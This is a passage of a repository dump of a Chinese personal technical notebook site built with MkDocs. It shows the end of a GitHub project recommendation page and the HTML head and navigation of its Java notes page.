link\">&para;</a></h2>\n<p>https://github.com/idank/explainshell</p>\n<p>查询shell命令各个参数的含义</p>\n<hr />\n<h2 id=\"python-learn-notes\">Python Learn Notes<a class=\"headerlink\" href=\"#python-learn-notes\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/AnyISalIn/Python_Learn_Notes</p>\n<p>一些不错的Python笔记</p>\n<hr />\n<h2 id=\"websocketd\">websocketd<a class=\"headerlink\" href=\"#websocketd\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/joewalnes/websocketd/</p>\n<p>把linux程序的输出输出重定向到websocket，就可以实现网页上实时显示程序执行动态，官网：<a href=\"http://websocketd.com/\">http://websocketd.com/</a></p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Java/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../C/\">\n      \n      \n        <link rel=\"next\" href=\"../S2-045/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Java - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#javakeng\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Java\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Java\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#javakeng\" class=\"md-nav__link\">\n    Java的神奇(keng)\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Java的神奇(keng)\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    变量名称\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#main\" class=\"md-nav__link\">\n    main函数\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#if\" class=\"md-nav__link\">\n    if\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    %取余的结果\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    数组声明引用、初始化之后才能用\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#switch\" class=\"md-nav__link\">\n    switch\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    ==\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    类型自动提升\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    内部类\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#new\" class=\"md-nav__link\">\n    数组的new不创建对象\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    异常处理中的资源释放问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#jvm\" class=\"md-nav__link\">\n    JVM启动时的内存参数\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  